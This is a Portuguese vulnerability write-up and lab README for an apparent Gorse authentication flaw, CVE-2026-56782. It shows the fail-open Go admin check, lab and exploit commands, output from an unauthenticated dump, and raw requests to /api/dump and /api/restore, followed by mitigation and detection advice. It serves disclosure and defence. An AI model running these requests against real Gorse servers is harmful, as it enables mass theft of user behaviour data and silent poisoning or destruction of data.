CVE-2026-56782 — Gorse <0.5.10 despejo/restauração de BD não autenticado (admin_api_key fail-open). Lab + PoC, verificado e2e.
Gorse
< 0.5.10é fornecido comadmin_api_key = "". Os endpoints HTTP mestre/api/dumpe/api/restoresão protegidos por uma verificação de administrador que falha abertamente quando nenhuma chave está configurada — o padrão. Um atacante não autenticado e acessível pela rede pode exfiltrar todo o conjunto de dados (usuários, itens, feedback / PII) ou sobrescrevê-lo.
| CVE | CVE-2026-56782 |
| Afetado | Gorse < 0.5.10 |
| Corrigido | 0.5.10 |
| Classe | CWE-305 (Desvio de Autenticação por Fraqueza Primária) / CWE-306 (Autenticação Ausente) |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticação | Nenhum (o padrão admin_api_key está vazio) |
| Endpoints | GET /api/dump, POST /api/restore (master HTTP, porta padrão 8088) |
| Status | CONFIRMADO — reproduzido de ponta a ponta contra zhenghaoz/gorse-in-one:0.5.8 |
master/rest.go protege os manipuladores de dump/restore com checkAdmin():
func (m *Master) checkAdmin(request *http.Request) bool {
if m.Config.Master.AdminAPIKey == "" {
return true // <-- fail-open: sem chave configurada => todo mundo é admin
}
if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
return true
}
return false
}
func (m *Master) dump(response http.ResponseWriter, request *http.Request) {
if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
... // transmite cada linha de usuário, item e feedback
}
func (m *Master) restore(response http.ResponseWriter, request *http.Request) {
if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
... // m.Restore(request.Body) — sobrescreve o conjunto de dados
}
O arquivo config/config.toml distribuído define admin_api_key = "". Com a configuração
padrão, checkAdmin() retorna true para toda requisição — o cabeçalho X-API-Key
nunca é consultado — portanto ambos os endpoints são legíveis e graváveis publicamente.
GET /api/dump transmite todo o banco de dados: cada ID de usuário
e rótulos, cada item e todo o gráfico de feedback (quem interagiu com o quê).
Para um sistema de recomendação sustentando um produto real, isso representa dados PII /
comportamentais em massa.POST /api/restore substitui o conjunto de dados pelo
conteúdo fornecido pelo atacante, possibilitando envenenamento silencioso de dados ou destruição.# 1. Inicie o servidor vulnerável (imagem oficial, configuração padrão = sem autenticação).
docker compose -f lab/docker-compose.yml up -d
# --playground popula um conjunto de dados real de usuários/items/feedback para exfiltrar.
# 2. Execute o PoC (sem credenciais).
python3 exploit.py http://127.0.0.1:8088 -o dump.bin
Observado:
[*] GET http://127.0.0.1:8088/api/dump (sem cabeçalho X-API-Key)
[*] HTTP 200 content-type: application/octet-stream
[+] EXFILTRAÇÃO DE DADOS NÃO AUTENTICADA CONFIRMADA
usuários : 2079
itens : 22320
feedback : 331901
payload : 262747105 bytes protobuf
amostra de ids de usuário : 0-vortex, 0markill, 0q2, 0x4richard, 0x973
[*] POST http://127.0.0.1:8088/api/restore (sem cabeçalho X-API-Key, corpo apenas EOF)
[+] HTTP 200 (não 401) - checkAdmin contornado: /api/restore é gravável sem autenticação.
Um cabeçalho X-API-Key falso ainda retorna 200 — confirmando que a chave é totalmente ignorada
quando admin_api_key não está definido (o caminho de falha aberta), e não meramente correspondida.
GET /api/dump HTTP/1.1
Host: 127.0.0.1:8088
POST /api/restore HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/octet-stream
<dump stream: marcadores int64 LE (-1 usuários, -2 itens, -3 feedback, 0 EOF) + protobuf prefixado por comprimento>
admin_api_key forte (e credenciais do
dashboard), termine TLS na frente do mestre e nunca exponha a porta HTTP mestre (8088)
a redes não confiáveis.Alerta sobre GET /api/dump ou POST /api/restore para a porta mestre de qualquer cliente
sem um X-API-Key válido, e sobre respostas grandes application/octet-stream de
/api/dump.
Veja ANALYSIS.md para o fluxo de requisição, o formato do fluxo de dump e
o patch.